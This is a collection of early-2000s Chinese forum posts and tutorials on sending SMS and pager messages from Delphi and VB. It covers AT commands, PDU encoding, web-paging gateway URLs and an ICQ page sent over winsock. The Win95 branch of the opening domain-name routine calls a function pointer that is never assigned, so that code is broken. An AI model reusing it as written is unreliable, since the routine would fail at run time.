if Result then

Result := VersionInfo.dwPlatformID = VER_PLATFORM_WIN32_NT;

end;

var

Win95_NetUserGetInfo: TWin95_NetUserGetInfo;

Win95_NetWkstaUserGetInfo: TWin95_NetWkstaUserGetInfo;

Win95_NetApiBufferFree: TWin95_NetApiBufferFree;

WinNT_NetWkstaGetInfo: TWinNT_NetWkstaGetInfo;

WinNT_NetApiBufferFree: TWinNT_NetApiBufferFree;

WSNT: ^WKSTA_INFO_100;

WS95: ^WKSTA_USER_INFO_1;

EC: DWORD;

hNETAPI: THandle;

begin

try

Result := '';

if IsWinNT then

begin

hNETAPI := LoadLibrary('NETAPI32.DLL');

if hNETAPI <> 0 then

begin @WinNT_NetWkstaGetInfo := GetProcAddress(hNETAPI, 'NetWkstaGetInfo');

@WinNT_NetApiBufferFree := GetProcAddress(hNETAPI, 'NetApiBufferFree');

EC := WinNT_NetWkstaGetInfo(nil, 100, Pointer(WSNT));

if EC = 0 then

begin

Result := WideCharToString(WSNT^.wki100_langroup);

WinNT_NetApiBufferFree(Pointer(WSNT));

end;

end;

end

else

begin

hNETAPI := LoadLibrary('RADMIN32.DLL');

if hNETAPI <> 0 then

begin @Win95_NetApiBufferFree := GetProcAddress(hNETAPI, 'NetApiBufferFree');

@Win95_NetUserGetInfo := GetProcAddress(hNETAPI, 'NetUserGetInfoA');

EC := Win95_NetWkstaUserGetInfo(nil, 1, Pointer(WS95));

if EC = 0 then

begin

Result := WS95^.wkui1_logon_domain;

Win95_NetApiBufferFree(Pointer(WS95));

end;

end;

end;

finally

if hNETAPI <> 0 then

FreeLibrary(hNETAPI);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(GetDomainName);

end;


手机短信息
：吕雪松, 时间：2001-5-10 14:02:11, ID：526571

三种：

一种是同GSM模块通讯（所谓无线Modem），如MOT D10，标准的AT指令集。

第二是同手机通讯，各个厂家都有自己的协议，如NOKIA 3110和西门子 1088系列手机。

但有的公开，有的不公开，还加密。

第三是同某些WebSite通讯，他们提供CGI，以前有好多帖子说国内的地址，我只有一个国外

的：

First, download and install the Microsoft&reg; SOAP Toolkit Version 2.0 from: http://msdn.microsoft.com/downloads/default.asp?URL=/code/sample.asp?url=/msdn-files/027/001/580/msdncompositedoc.xml

uses

ComObj;

procedure TForm1.Button1Click(Sender: TObject);

var

SoapClient: OleVariant;

v: OleVariant;

begin

SoapClient := CreateOleObject('MSSOAP.SoapClient');

SoapClient.mssoapinit('http://sal006.salnetwork.com:83/lucin/smsmessaging/process.xml');

SoapClient.SendTextMessage('Number', 'MessageBody', 'Sender');

end;


如何通过PC用手机发送短信
gordon9673 ：用PC通过手机发送短信？我是用手机数据线来发送的，例如用我的PC连好了NOKIA6110的数据线，通过COM1来连接，我察过资料，我的想法是，先用CREATEFILE创建连接，然后用WRITEFILE来传送我的消息，nokia的手机大部分都支持TEXT的格式，是吧，例如，我在EDIT中输入：‘AT ?’，然后用WRITEFILE向COM1发送数据，这样可以吗？如果可以，拿我怎么接收它的返回信息呢？（显示在MEON1)上。

deathcat：发送短消息有很多种方法.第一:控制手机,第二:控制GSM模块,第三:通过短消息网关。在GSM协议中.有MT,ME,不知道你说的究竟是什么,说清楚点。

1.去查阅AT命令集+GSM0707协议+GSM0705协议.

2.从手机制造商哪里下载软件.

根据AT命令集.没有"AT?"这个命令.(但是不知道NOKIA有没有).标准的text文本发送模式：

发送：

at+cmgs="+86(手机号码)"+#13+#10

返回：

>

发送：

消息内容

返回：

+CMGS [发送标号]

OK

至于接收.你用的应该是Comm控件吧,当ReceiveCount>0的时候,缓冲区有数据,用Input的方法就可以读出来了.

gordon9673 ：谢谢。我还想知道用PDU格式发送时，必须把AT命令转化成16进制的数吗？该怎么转换？

gordon9673 (gody) ：

这个好象可以啊

http://www.yiwant.com/download1.htm

电脑连接手机收发短消息的二次开发工具，包括一个实现短消息收发功能的DLL、函数说明和一个DELPH程序源代码。

www.yiwant.com/cgi-bin/click.cgi?job=down&filename=sms-delphi

部分程序：

mplementation

{$R *.DFM}

//=============DLL 函数调用声明 开始 =========

procedure ConnectToMobile;stdcall; external 'SMSLIB.DLL';

procedure DisconnectToMobile;stdcall; external 'SMSLIB.DLL';

Function IsConnected:boolean;stdcall; external 'SMSLIB.DLL';

Function IsBusy:boolean;stdcall; external 'SMSLIB.DLL';

procedure InitMobile;stdcall; external 'SMSLIB.DLL';

procedure SetSMC(SMC:PChar);stdcall; external 'SMSLIB.DLL';

Function SendSMS(phone,text:PChar):boolean;stdcall; external 'SMSLIB.DLL';

Function ReadSMS(Text,sendnum,smc,time:PChar):boolean;stdcall; external 'SMSLIB.DLL';

//=============DLL 函数调用声明 结束 =========

procedure TForm1.Button1Click(Sender: TObject);

begin

ConnectToMobile;

memo2.Lines.Add ('已经发出连接命令。');

sleep(4000); //等待4秒，等待手机准备好

while not IsConnected do ; //直到连接成功

memo2.Lines.Add ('已经连接到手机。');

InitMobile;

memo2.Lines.Add ('已经初始化。');

SetSMC(PChar(SMC.Text ));

memo2.Lines.Add ('短信中心设置成功。');

end;

deathcat：

使用pdu格式可以啊。

at+cmgf=0 ----使用pdu模式

at+cmgf=1 ----使用text模式

但是，你首先要看nokia的手机是否支持pdu格式。

不过，我想应该是支持的。

因为text模式不支持中文短消息。

你要先查查pdu格式手册，每一个短信中心的pdu格式不是很一致的。

没有必要做什么16进制的转换啊。如果发送中文，那么用的是uc2码。

比如说发送给手机号码为123456789ab的手机发送1234。那么pdu格式应该是

0891683108200905f011000b816821436587a9fb0004+短信息内容长度（16进制）+短信息内容


BP短讯
很多人一定用过OICQ，想必也用过了它的BP机短讯、手机短讯，编程的朋友一定想实现这种功能，

如果你的程序能发到手机、发到BP机一定很酷。

现在我就介绍一种可行的方法。

一、原理

它不同于OICQ的双方都在网上才能进行交流的寻呼功能，它可以将文字信息发送到真正的寻呼机上。只要你能够上网，就可以自己动手，随时随地将信息发送出去，即使你在国外，也可以利用它来向国内的友人发送信息了，而且不用交纳国际长途费用，是不是方便又省事呢！

二、分析

现在网上各寻呼台都有网上服务,网页寻呼(Web Paging)就是常用的一种。它是通过在互联网上访问寻呼台的主页，然后由寻呼台的信息寻呼系统打传呼。所以我们只要利用HTTP协议就可以实现网络寻呼了。以下就简单介绍一下HTTP协议：

HTTP中完成一个会话通常要完成：1)客户端程序与服务器建立连接2)发送请求3)服务器响应客户端4)关闭连接

HTTP常用到的请求有：1)GET(请求一万维网页) 2)HEAD(读取一万维网页的头部) 3)PUT(请求一存储万维网页) 4)POST(附加一个命名的资源) 5)DELETE(删除万维网页) 6)LINK(连接两个已有的资源) 7)UNLINK(断开两个已有资源的连接)

HTTP中常用到的应答状态代码有：(*号代表0-9间的一个数) 1. 1** (信息) 2. 2**(成功) 3.4**(客户端错误) 4.5**(服务器错误)

其实我们要实现的程序，只用POST、GET请求，收到正常应答就可以了。POST可以用于把用户输入的数据以数据流的方式传给CGI程序，CGI通过Contect-Length环境变量来取相应长度的数据流信息。

POST请求格式如下：

POST http://www2.scuta.edu.cn/stu/chatroom/check.asp HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*

Referer: http://www2.scuta.edu.cn/stu/

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)

Host: www2.scuta.edu.cn

Content-Length: 87

Pragma: no-cache

Cookie: ASPSESSIONIDQGGGQHHE=ABGNNOJCIGOFCDLBIOLHKAFK

服务器正常应答的头部结构为：

200 OK HTTP/1.0 说明提交数据成功

三、程序的实现

Delphi中NMHTTP已经可以很容易的实现上面的所说的数据提交,而且它还支持Proxy、这样对于通过代理服务器上网一样可以适用，并且它不是OICQ中发送讯信所用到SOCKET5代理。

新建一个窗体，加入组件一个ComboBox，命名为callto,用于存放寻呼对象，如国信寻呼就有95908、94908、94909、98062、98063、98019、98035、98052、98038、99055、98060、98061、98051、98003、99062、99016、99017、99018、99019、99046、99076；加入组件Edit，命名为tonumber，表示寻呼号码；加入组件RadioGroup，命名为RadioGroup1,Caption设为呼机类型，items中加入两项，分别为中文机、数字机;加入组件Edit,命名为firstName，用于表示发寻呼人的姓；加入组件RadioGroup，命名为RadioGroup2,Caption设为寻呼人性别，items中加入两项，分别为先生、小姐;加入组件Memo，命名为callmsg，用于输入发送的信息(注：对于数字机只能是数字信息)；加入组件NMHTTP,命名为NMHTTP1；加入Checkbox，命名为ifuseproxy，用于确定是否使用代理服务器;加入两个Edit组件，分别用于软件代理服务器地址、代理服务器端口；最后加入命令按钮,Caption设为“发送”。

现在以国信寻呼为例，它用GET请求就可以实现了,“发送”按钮的程序代码如下：

procedure TForm1.Button1Click(Sender: TObject);

var callstr:string;

begin callstr:='http://tips.gxspace.com/cgi-bin/tips/webpaging?stn_id='+callto.Text+'&page_no='+tonumber.Text;

case RadioGroup1.ItemIndex of

0:callstr:=callstr+'&pager_type=C';

1:callstr:=callstr+'&pager_type=N';

end;

callstr:=callstr+'&firstname='+firstname.text;

case RadioGroup2.ItemIndex of

0:callstr:=callstr+'&title=0';

1:callstr:=callstr+'&title=1';

end;

callstr:=callstr+'&msg='+callmsg.Text+'&answer=null&B1=发送寻呼';

NMHTTP1.InputFileMode := FALSE;

NMHTTP1.OutputFileMode := FALSE;

NMHTTP1.ReportLevel := Status_Basic;

If ifuseproxy.Checked then

Begin

NMHTTP1.Proxy := Edit1.Text;

NMHTTP1.ProxyPort := StrToInt(Edit2.Text);

End;

NMHTTP1.Get(callstr);

end;

有些寻呼(如润迅寻呼就不能用上面的GET请求实现，它要用POST请求)，使用与上面相差不大，如下面是NMHTTP的POST用法：

NMHTTP1.InputFileMode:=False;

NMHTTP1.OutputFileMode:=True;

NMHTTP1.ReportLevel:=Status_Basic;

If ifuseproxy.Checked then

Begin

NMHTTP1.Proxy := Edit1.Text;

NMHTTP1.ProxyPort := StrToInt(Edit2.Text);

End;

With NMHTTP1.HeaderInfo do

Begin

Cookie := Edit5.Text;

LocalMailAddress := Edit6.Text;

LocalProgram := Edit7.Text;

Referer := Edit8.Text;

UserID := Edit9.Text;

Password := Edit10.Text;

End;

// 把要提交的数据先放在test.txt文件中：格式为stnid=A&pageno=123456...

NMHTTP1.Post('http://www.wocall.com/script/zbwebcall.asp','test.txt');

//NMHTTP的具体用法在Delphi安装目前下有个NMHTTP使用的例子。

以上都是用NMHTTP实现的，其实用Delphi中的WebBrowser组件同样可以完成数据的提交，使用是这样的 Webbrowser1.OleObject.Document.FrontPage_Form1.submit();

说明：WebBrowser1是WebBrowser组件的名,Frontpage_Form1是用WebBrowser打开的网页中的表单名

网页中的表单是这机样的：

<FORM name=FrontPage_Form1 action=http://message.com.cn/cgi-bin/ips/webpaging method=post>

......

</Form>

这样的实现方法就是用程序生成一个已经按用户输入信息生成一个网页，然后通过WebBrowser1.Navigate(生成的网页),最后提交到服务器Webbrowser1.OleObject.Document.FrontPage_Form1.submit();这样就完成了一次寻呼


收集短信息软件或者模块?(sms for Nokia 5110/6110)
呵呵，不好意思，让大家久等了，我这段时间一直在外出差，没办法上网，而且没有时间吧模块给做出来，要不你们自己编吧，我把需要的编码格式告诉你们，好么？

不过你们要尊重我的成果哦，我原来一直想把它给商业化了的，可是因为工作太忙，而且没人帮我搞这个东西，所以后来也就算了，每次回到家都累得只想睡觉，所以干脆就直接不做了，希望大家在编程序时，别忘了我，我叫张剑锐，郑州人，我的mail地址：jerrych@guohao.com

MsgBox " 河南同方科技有限公司 " + Chr(13) + " 程序制作:张剑锐 Email:jerrych@126.com", vbOKOnly

下边就是核心程序:

MSComm.Output = "AT+CMGF=1" + Chr(13) + Chr(10)

MSComm.Output = "AT+CSMP=4,167,0,8" + Chr(13) + Chr(10)

'上边两行语句作为联机是初始化用的命令

Private Sub SMSend(TxtNumber As String, TxtMessage As String) 'txtNumber 是目的号码 txtMessage 是信息内容

Dim TxtMsg As String

Dim Arr, ArrA, ArrB As String

Dim InChar, InCharB, Wait As String

Dim i As Single

MSComm.InBufferCount = 0

For i = 1 To Len(TxtMessage)

Arr = Mid(TxtMessage, i, 1)

ArrA = Hex(AscB(MidB(Arr, 1, 1)))

ArrB = Hex(AscB(MidB(Arr, 2, 1)))

If Len(ArrB) = 1 Then If Val(ArrB) = 0 Then ArrB = "00"

If Len(ArrA) = 1 Then ArrA = "0" + ArrA

TxtMsg = TxtMsg + ArrB + ArrA

Next i

If MSComm.PortOpen Then MSComm.Output = "AT+CMGS=" + Chr(34) + TxtNumber + Chr(34) + Chr(13) '送出短信目的号码

MSComm.Output = TxtMsg + "005B5F2052519510005D" + Chr(26) '送出已编码后的短信内容

EndIf

Wait = Waiting(Chr(26), 1)

If ErrorCode Then

'初始化错

Status.SimpleText = "未准备好！" + "错误"

MFlag = False '标记发送失败

Else

Status.SimpleText = "发送成功！"

MSComm.RThreshold = 1 '控件收到数据时将触发OnComm事件

MFlag = True

End If

End Sub

Private Function Waiting(Strings As String, WaitTime As Single) As String

Dim EndTime As Single

Dim Buffer As String

'计算结束时间

EndTime = Timer + WaitTime

'初始化数据

ErrorCode = 0

Do

DoEvents '处理其它事件

If MSComm.InBufferCount Then

'接收数据

Buffer = Buffer + MSComm.Input

If InStr(1, Buffer, Strings) Then

'接收到等待的字符串

Exit Do

End If

End If

If Timer >= EndTime Or ErrorCode Then

'等待超时

ErrorCode = 1

Exit Do

End If

Loop

'返回接收的字符串

Waiting = Buffer

End Function

好了，我快饿死了，你们有什么不懂的地方在给我发mail吧，我要去吃饭了

出差回来连饭都没得吃，不行，我要去吃饭了，你们先看看吧。


手机发送短讯的程序
：tanglu 时间：00-10-29 9:00:19 ID:379828

最好可能还是给www.139.com.cn的那个发短消息的wriete1.asp作个接口。

然后生成一个Http的串，用ICS的TCliHttp控件发过去。

我大概看了一下，它的用户名输入框的名字是：My_Name

你自己研究一下其他的吧

：suhaiyun 时间：00-10-31 1:12:41 ID:381207

tanglu言之有理，可以用delphi的THttp组件把信息post过去，（看dellphi例子），至于要post的

数据分析一下www.139.com.cn页面就可以知道，其格式应类似：name=zhang&phone=013901012345...

：yysun 时间：00-10-31 23:26:02 ID:382165

WAP! Delphi Does Wireless - Developing WML Applications

http://www.delphizine.com/features/2000/04/di200004jj_f/di200004jj_f.asp

(With Source Code!)


手机短信息格式
http://www.unipaging.net/cgi-bin/tips/webpaging?

stn_id=191&page_no=传呼号码&pager_type=C(代表中文)&

firstname=你的名字的区位码如"高"为%B8%DF&title=0&msg=发送消息的区位码如我爱你%CE%D2%D4%DA%C4%E3&answer=null&

B1=发送寻呼的区位码%B7%A2%CB%CD%D1%B0%BA%F4，注意所有的区位码用%隔开

中国电信：

http://202.111.184.69/cgi-bin/sendmessage?my_name=*FIRST_NAME*&v_lan=*STN_ID*

&short_mess=*MSG*&other_phone=*PAGE_NO*

my_name是你的姓名，这个随便输

short_mess短信息内容

other_phone接受号码

中国连通：

http://www.unipaging.net/cgi-bin/tips/webpaging?page_no=*PAGE_NO*

&stn_id=*STN_ID*&pager_type=*PAGE_TYPE*&firstname=*FIRST_NAME*&

title=*TITLE*&msg=*MSG*&answer=null&code=XYZ

还是

http://www.unipaging.net/cgi-bin/tips/webpaging?

stn_id=191&page_no=传呼号码&pager_type=C(代表中文)&

firstname=你的名字的区位码如"高"为%B8%DF&title=0&msg=发送消息的区位码如我爱你%CE%D2%D4%DA%C4%E3&answer=null&

B1=发送寻呼的区位码%B7%A2%CB%CD%D1%B0%BA%F4，注意所有的区位码用%隔开

对吗？？？


发送短讯息的功能
如何做出发送短讯息的功能？是否有控件或源程序最好！

--------------------------------------------------------------------------------

来自：Slong 时间：01-2-15 15:39:43 ID:455320

如果要做出发送短讯息的功能，必须有电信局的授权才行，前一段时间我做了一个相关

功能的COM，是给我们公司的ASP程序员在网页中调用的，其实我要做的东西很少，因为

电信局提供了一个动态连接库，叫EIApi.dll，它提供了四个函数：

int EIConnect(char *svrip,int svrport);

int EISend(int connectid,unsigned char type,int packnum,

char *data1,char *data2);

int EIRecv(int connectid,unsigned char *type,int *packnum,

char *data1,char *data2);

void EIClose(int socket_s);

分别是连接服务器，发送信息，接受反馈信息，关闭连接等功能。只要按顺序调用这四

个函数就完成了一信息的发送过程。


短消息网关接口

附件>>>> cmpp.zip


发送 ICQ 通知
发送 ICQ 通知

原著: Thomas nielsen

问题提出/摘要:

你曾经想过在你的应用程序中包含向一个 ICQ 客户发送一个通知吗？下面就有做法：

回答:

{下面的代码不能解析 wwp.mirabilis.com 的主机名,它直接使用对应的 IP。

（译者注：其实这只要用 HostByName 函数就可以解决。）}

unit unitICQPage;

interface

uses

Windows, Classes, SysUtils, Winsock;

Function ICQPage(dwUIN: DWORD; szFrom, szFromEmail, szSubject, szMsg: String): Integer;

implementation

Function ICQPage(dwUIN: DWORD; szFrom, szFromEmail, szSubject, szMsg: String): Integer;

{This procedure sends an ICQ page.

It uses a raw winsock interface to do this

Return values:

0 = success

1 = WSA Error (WSAGetLastError)

}

Const

ERR_SUCCESS = 0;

ERR_WSA = 1;

Var

MyWSA: WSAData;

SIN: TSockAddr;

hSocket: TSocket;

sRequest: String;

Begin

If WSAStartup(MakeWord(1,1), MyWSA) <> 0 Then Begin

//There's nothing to do, it failed!

ICQPage := ERR_WSA; //ERROR CODE

WSACleanup;

Exit;

end;

hSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

If hSocket = INVALID_SOCKET Then Begin

//Unable to create socket :(

ICQPage := ERR_WSA;

WSACleanup;

Exit;

End;

{Setup "target" information}

SIN.sin_family := AF_INET;

SIN.sin_port := htons(80); //Port 80 is default HTTP (And ofcource the one mirabilis use}

{NOTE: The hostname wwp.mirabilis.com should be resolved in code}

// SIN.sin_addr.S_addr := inet_addr(PChar('127.0.0.1'));

SIN.sin_addr.S_addr := inet_addr(PChar('205.188.252.120'));

If connect(hSocket, SIN, SizeOf(SIN)) = SOCKET_ERROR Then Begin

//Error while connecting...

{Hmm, Now the program should attempt to resolve the hostname wwp.mirabilis.com

and attempt to reconnect to that IP

But since I do not know how to resolve hostnames:}

ICQPage := ERR_WSA;

CloseSocket(hSocket);

WSACleanup;

Exit;

end;

//The socket has connected!

Sleep(30); //dunno, I just feel like it ;-)

sRequest := 'from='+szFrom+'&'+

'fromemail='+szFromEmail+'&'+

'subject='+szSubject+'&'+

'body='+szMsg+'&'+

'to='+IntToStr(dwUIN)+

'&Send=Send+Message';

sRequest := 'POST /scripts/WWPMsg.dll HTTP/1.1'+#13#10+

'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*'+#13#10+

'Accept-Language: en'+#13#10+

'Content-Type: application/x-www-form-urlencoded'+#13#10+

'Accept-Encoding: gzip, deflate'+#13#10+

'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)'+#13#10+

'Host: 127.0.0.1'+#13#10+

'Content-Length: '+IntToStr(Length(sRequest))+#13#10+

'Connection: Keep-Alive'+#13#10+

''+#13#10+

sRequest;

If Send(hSocket, sRequest[1], Length(sRequest), 0) = SOCKET_ERROR Then Begin

//unable to send

ICQPage := ERR_WSA;

CloseSocket(hSocket);

WSACleanup;

Exit;

End;

//Page sent!

CloseSocket(hSocket);

WSACleanup;

ICQPage := ERR_SUCCESS;

end; //ICQPage

end.


NameNick的手机短信DLL
主　　题： 大放送!!!!手机短讯源码。

作　　者： NameNick (三三)

等　　级：

信 誉 值： 100

所属论坛： Delphi 基础类

问题点数： 1

回复次数： 24

发表时间： 2002-7-16 23:15:21

用GSM模块发中文短讯，必须以PDU包的形式发送。我将它写成了Dll,直接调用SMSEncode函数即可得到追后的编码。现将原码公开：

unit EnCodeCompnent;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

function SMSEncode(s:WideString;Result_Code:pchar):Bool;Stdcall;export;

function SMSDecode(Input_Code:pchar;Result_Str:pchar):Bool;Stdcall;export;

function MakePDU(DestNumber:pchar;Content:pchar;Result_String:pchar):Bool;stdcall;export;

function ConvertPhoneNum(strNum:string):string;

function Transposition(instr:pchar;Result_str:pchar):Bool;stdcall;export;//将一个字符串两两交换位置

{ Public declarations }

implementation

function SMSEncode(s:WideString;Result_Code:pchar):Bool;

var

i,len:Integer;

cur:Integer;

t,temp:String;

begin

if length(s)>0 then

begin

len:=Length(s);

i:=1;

while i<=len do

begin

cur:=ord(s[i]);

//BCD convert

FmtStr(t,'%4.4X',[cur]);

temp:=temp+t;

inc(i);

end;

StrCopy(Result_Code,pchar(temp));

Result:=true;

end

else

Result:=false;

end;

function SMSDecode(Input_Code:pchar;Result_Str:pchar):Bool;

var

str:string;

i:integer;

temp:string;

A_PWideChar:array[0..300] of widechar;

R_String:string;

A_integer:integer;

begin

str:=string(Input_Code);

R_String:='';

if length(str)<=0 then

begin

Result:=false;

exit;

end;

i:=0;

while i<length(str) do

begin

temp:=copy(str,i+1,4);

A_integer:=strtoint('$'+temp);

move(A_integer,A_PWideChar[i div 4],sizeof(A_PWideChar[i div 4]));

inc(i,4);

end;

A_PWideChar[length(str) div 4]:=#0;

R_String:=WideCharToString(@A_PWideChar);

StrCopy(Result_Str,pchar(R_String));

Result:=true;

end;

function MakePDU(DestNumber:pchar;Content:pchar;Result_String:pchar):Bool;

const

lenSmsInfo='00';

firstOctet='11';

TPMessageReference='00';

TypeOfAddress='91';

TpId='00';

TpDcs='08';//"00" is 7 bit encode "08" is 8 bit encode;

TPValidityPeriod='AA';//aa is 4 day

var

DestPhoneNum:string;

AddressLength:string;

TpUserData:string;

TPUserDataLength:string;

temp:WideString;

Tmp_Pchar:pchar;

Rlt_str:string;

begin

if (DestNumber='') or (Content='') then

begin

Result:=false;

exit;

end

else

begin

DestPhoneNum:=ConvertPhoneNum(DestNumber);

AddressLength:=format('%2.2X',[length(DestNumber)]);

temp:=Content;

Tmp_Pchar:=StrAlloc(1000);

if SMSEncode(temp,Tmp_Pchar) then

TpUserData:=string(Tmp_Pchar);

if TpDcs='08' then

TPUserDataLength:=format('%2.2X',[length(TpUserData) div 2])

else

TPUserDataLength:=format('%2.2X',[((length(TpUserData) div 2)*8) div 7]);

Rlt_str:=lenSmsInfo

+firstOctet

+TPMessageReference

+AddressLength

+TypeOfAddress

+DestPhoneNum

+TpId

+TpDcs

+TPValidityPeriod

+TPUserDataLength

+TpUserData;//TpUserData have to Encoded;

StrCopy(Result_String,pchar(Rlt_str));

Result:=true;

end;

end;

function ConvertPhoneNum(strNum:string):string;

var

i:integer;

str:string;

A_Pchar:pchar;

begin

str:=strNum;

i:=length(str);

if odd(i) then

begin

str:=str+'F';

A_Pchar:=StrAlloc(40);

if Transposition(pchar(str),A_pchar) then

result:=string(A_Pchar)

else

result:='Null';

end

else

begin

A_Pchar:=StrAlloc(40);

if Transposition(pchar(str),A_pchar) then

result:=string(A_Pchar)

else

result:='Null';

end;

end;

function Transposition(instr:pchar;Result_str:pchar):Bool;

var

i:integer;

temp:string;

destStr:string;

In_String:string;

begin

if length(instr)>0 then

begin

destStr:='';

In_String:=string(instr);

setlength(In_String,length(In_String));

i:=1;

while i<length(In_String) do

begin

temp:=In_String[i+1]+In_String[i];

destStr:=destStr+temp;

inc(i,2);

end;

StrCopy(Result_Str,pchar(destStr));

result:=true;

end

else

begin

result:=false;

end;

end;

end.

回复人： shuixin13(犬犬（心帆）) ( ) 信誉：100 2002-7-17 1:48:00 得分:0

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

下面的几个函数对做手机短消息的同志一定有用，

手机发送中文时用的是UniCode码，

用GB2UniCode就行，

向串口发送

AT+CMGL=0 +#13+#10

会得到短消息，是PDU协议

数据格式分为UniCode与7Bit格式

分别用UniCode2GB 与 DecodeSMS7Bit 进行解码

我自已做了一个手机串口线适用西门子，

请到

http://mymotor.myrice.com/file/cable.htm

下载原理图

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

08 91 683108701305F0 11 00 0D 91 3176378290F9 00 00 00 02 C834

⑴08-短信息中心地址长度。指（91）+（683108701305F0）的长度。

⑵91-短信息中心号码类型。91是TON/NPI遵守International/E.164标准，指在号码前需加‘+’号；此外还有其它数值，但91最常用。

91-10010001

BIT No. 7 6 5 4 3 2 1 0

Name 1 数值类型 号码鉴别

数值类型（Type of Number）：000-未知，001-国际，010-国内,111-留作扩展；

号码鉴别（Numbering plan identification）:0000-未知，0001-ISDN/电话号码(E.164/E.163)，1111-留作扩展；

⑶683108701305F0-短信息中心号码。由于位置上略有处理，实际号码应为：8613800731500（字母F是指长度减1）。这需要根据不同的地域作相应的修改。

⑴、⑵、⑶通称短消息中心地址（Address of the SMSC）。

⑷11-文件头字节。

11&h=00010001&b

BIT No. 7 6 5 4 3 2 1 0

Name TP-RP TP-UDHI TP-SPR TP-VFP TP-RD TP-MTI

Value 0 0 0 1 0 0 0 1

应答路径-TP-RP（TP-Reply-Path）：0-不设置; 1-设置

用户数据头标识-TP-UDHL（TP-User-Data-Header-Indicator）：0-不含任何头信息; 1-含头信息

状态报告要求-TP-SPR（TP-Status-Report-Request）：0-需要报告; 1-不需要报告

有效期格式-TP-VPF（TP-Validity-Period-Format）：00-不提供（Not present）; 10-整型（标准）；01-预留; 11-提供8位字节的一半（Semi-Octet Represented）

拒绝复制-TP-RD（TP-Reject-Duplicates）：0-接受复制; 1-拒绝复制

信息类型提示-TP-MTI（TP-Message-Type-Indicator）：00-读出（Deliver）; 01-提交（Submit）

⑸00-信息类型（TP-Message-Reference）

⑹0B-被叫号码长度。

⑺91-被叫号码类型（同⑵）。

⑻3176378290F9-被叫号码，经过了位移处理，实际号码为“13677328099”。

⑹、⑺、⑻通称目的地址（TP-Destination-Address）。

⑼00-协议标识TP-PID（TP-Protocol-Identifier）

BIT No. 7 6 5 4 3 2 1 0

Bit No.7与Bit No.6： 00-如下面定义的分配Bit No.0-Bit No.5；01-参见GSM03.40协议标识完全定义；10-预留；11-为服务中心（SC）特殊用途分配Bit No.0-Bit No.5。

一般将这两位置为00。

Bit No.5：0-不使用远程网络，只是短消息设备之间的协议；1-使用远程网络。

Bit No.0-Bits No.4：00000-隐含；00001-电传；00010-group 3 telefax；00100-语音；00101-欧洲无线信息系统（ERMES）；00110-国内系统；10001-任何基于X.400的公用信息处理系统；10010-Email。

⑽00-数据编码方案TP-DCS（TP-Data-Coding-Scheme）

BIT No. 7 6 5 4 3 2 1 0

Bit No.7与Bit No.6 :一般设置为00；Bit No.5：0-文本未压缩，1-文本用GSM标准压缩算法压缩；Bit No.4：0-表示Bit No.1、Bit No.0为保留位，不含信息类型信息，1-表示Bit No.1、Bit No.0含有信息类型信息；Bit No.3与Bit No.2：00-默认的字母表，01-8bit，10-USC2（16bit），11-预留；Bit No.1与Bit No.0：00-Class 0，01-Class 1，10-Class 2（SIM卡特定信息），11-Class 3。

⑾00-有效期TP-VP（TP-Valid-Period）

VP value(&h) 相应的有效期

00 to 8F (VP+1)*5 分钟

90 to A7 12小时+(VP-143)*30分钟

A8 to C4 (VP-166)*1天

C5 to FF (VP-192)*1 周

⑿02-用户数据长度TP-UDL（TP-User-Data-Length）

⒀C834-用户数据TP-UD（TP-User-Data）“Hi”

Top

回复人： shuixin13(犬犬（心帆）) ( ) 信誉：100 2002-7-17 1:49:24 得分:0

{===============================================================}

{ 函数 : RESULTSTRING = HexToBin(HEXSTRING)

{ 目的 : 把十六进制字符串转换为二进制字符串

{

{===============================================================}

{ 函数 : RESULTINTEGER = HexCharToInt(HEXCHAR)

{ 目的 : 转换一个十六进制字符为整数

{===============================================================}

{ 函数 : RESULTSTRING = HexCharToBin(HEXCHAR)

{ 目的 : 转换一个十六进制字符为二进制字符串

{===============================================================}

{ 函数 : RESULTINTEGER = Pow(BASE,POWER)

{ 目的 : 指数函数

{===============================================================}

{ 函数 : RESULTINTEGER = BinStrToInt(BINSTRING)

{ 目的 : 把二进制字符串转换为整数

{===============================================================}

{ 函数 : RESULTSTRING = DecodeSMS7Bit (PDUSTRING)

{ 目的 : 解码一个7-bit SMS (GSM 03.38) 为ASCII码

{===============================================================}

{ 函数 : RESULTSTRING = ReverseStr (SOURCESTRING)

{ 目的 : 反转一个字符串

{===============================================================}

{===============================================================}

{ 函数 : RESULTSTRING = UniCode2Gb (SOURCESTRING)

{ 目的 : 将UniCode字符串转换为GB

{===============================================================}

{===============================================================}

{ 函数 : RESULTSTRING = GB2UniCode (SOURCESTRING)

{ 目的 : 将GB字符串转换为UniCode

{===============================================================}

unit BinHexTools;

interface

function HexToBin(HexNr : String): String;

function HexCharToInt(HexToken : char): Integer;

function HexCharToBin(HexToken : char): String;

function pow(base, power: integer): integer;

function BinStrToInt(BinStr : String) : Integer;

function DecodeSMS7Bit(PDU : String): String;

function ReverseStr(SourceStr : String) : String;

function GB2UniCode(GB:string): String;

function UniCode2GB(S : String): String;

implementation

uses sysutils, dialogs;

function HexCharToInt(HexToken : char):Integer;

begin

//if HexToken>#97 then HexToken:=Chr(Ord(HexToken)-32);

{ 将小写字母转换成大写 }

Result:=0;

if (HexToken>#47) and (HexToken<#58) then { chars 0....9 }

Result:=Ord(HexToken)-48

else if (HexToken>#64) and (HexToken<#71) then { chars A....F }

Result:=Ord(HexToken)-65 + 10;

end;

function HexCharToBin(HexToken : char): string;

var DivLeft : integer;

begin

DivLeft:=HexCharToInt(HexToken); { first HexChar->Int }

Result:='';

{ Use reverse dividing }

repeat { Trick; divide by 2 }

if Odd(DivLeft) then { result = odd ? then bit = 1 }

Result:='1'+Result { result = even ? then bit = 0 }

else

Result:='0'+Result;

DivLeft:=DivLeft div 2; { keep dividing till 0 left and length = 4 }

